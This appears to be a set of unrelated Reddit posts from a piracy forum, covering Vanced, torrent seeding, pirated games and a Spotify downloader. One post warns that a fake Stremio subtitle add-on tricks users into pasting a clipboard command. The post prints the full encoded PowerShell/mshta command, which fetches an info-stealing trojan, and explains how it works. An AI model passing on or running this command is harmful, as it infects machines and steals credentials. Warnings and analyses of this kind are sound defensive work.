Original Title: This site, which is mentioned in the Megathread, is deceitful as it downloads Spotify songs in only 192 kbps but says that it does so in 320 kbps on its homepage itself! I think it should be removed from the Megathread as it can't be trusted & it can become risky in future endeavours!

So, YouTube decided to raise its Premium prices in the Philippines(idk about the others). Because clearly, what the world needs right now is another way to feel like we're getting less for more, right?

Honestly, I’m almost grateful for this price hike. It’s like YouTube Premium is doing its best to push us towards better options, and I couldn’t be happier about discovering Vanced thanks to this community. If YouTube’s idea of "premium" means more of our cash for fewer benefits, then I’m all in for skipping that party.

Hello Vanced.

Edit: I just found out about ReVanced. I feel old and soon to die of scurvy

I can understand things that can be streamed at a different time being able to be pirated, but I don’t understand how TV channels could be pirated. Is someone with a paid subscription re broadcasting the stream to pirating media? If that is the case, what would be the incentive to do so, as the media would be a loss of profit? (I’m not very educated in piracy so sorry if I made a stupid mistake in here)

Hey everyone,

I wanted to share a recent experience I had with Stremio, hoping it might save some of you from getting hacked. I was browsing the community add-ons in Stremio and saw the OpenSubtitles and Subscene add-ons. I thought they might come in handy for subtitles, so I decided to configure them.

The setup seemed easy – just follow the on-screen instructions. I selected the language for the subtitles, but when I tried to install the add-on, it prompted me to complete some sort of verification step. The instructions were simple:

  1. Press Win + R
  2. Press Ctrl + V
  3. Click OK

I pressed Ctrl + V and was surprised to see the following code appear, even though I hadn’t copied anything myself:

"powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==" Don't excute it

This seemed strange, so I decided to investigate. When I scanned the code, I found that it was a PowerShell command with an encoded payload.

Here's what I found:

  • -**eC**: This parameter tells PowerShell to execute a command that is provided in encoded form (Base64 encoded).
  • The decoded command using Base64 is:

mshta ""

What This Command Does:

  • mshta: Launches the Microsoft HTML Application Host, which can execute HTML applications (HTA files).
  • "": This URL is opened by the command, which can potentially execute harmful code hosted on the page.

Downloading the file from this link gives you an .exe file named "DIALER.EXE". I scanned this file using VirusTotal, and it showed that 50 out of 57 antivirus engines detected it as Trojan.LummaStealer/Mikey.

You can see the VirusTotal report here: [VirusTotal Link]

Please be careful when installing any community add-ons on anything and double-check any verification steps they ask you to complete by scanning the URL, files.

Stay safe everyone!

For me it's Houseguest. It's been quite a while since anyone downloaded it from me but I'm always stoked when someone does.

What unpopular torrents are you all keeping alive?

hiii basically i just wanted to share my excitement about finding a lost game from a very old game console we had (hopefully it's still somewhere in the attic) and BASICALLY! there was this sonic game of him running through the woods at the very beginning of it, and now, after all these years i finally found what it was!!!

so, point is, i found a 200 in 1 game online, and in it there's this "adventure island" game and it's pretty much identical to the sonic game we used to play (at one point before this i went through pretty much every retro sonic game on wiki when looking for this game) down to the music and the movement of the character guy.

and i thought "maybe it's a reskin or a version of this game" and I FOUND IT! turns out it's a pirated version of the adv island game except it's all sonic. AAAAAAA i'm so fucking happy.

thank u for reading. 👷‍♀️🤜

Long time ago I was financially limited and had no other option if I want any new pc game.

But now in my current job I am really well paid and so I am buying games I want currently and which I pirated long time ago.

The game I pirated long time ago I already finished long time ago and don't really play then after buying them.

My friend find it weird that I buy games I don't plan to play now, but I already played them and want now to own them.

Is it wired that I do that? Anyone else like me here?
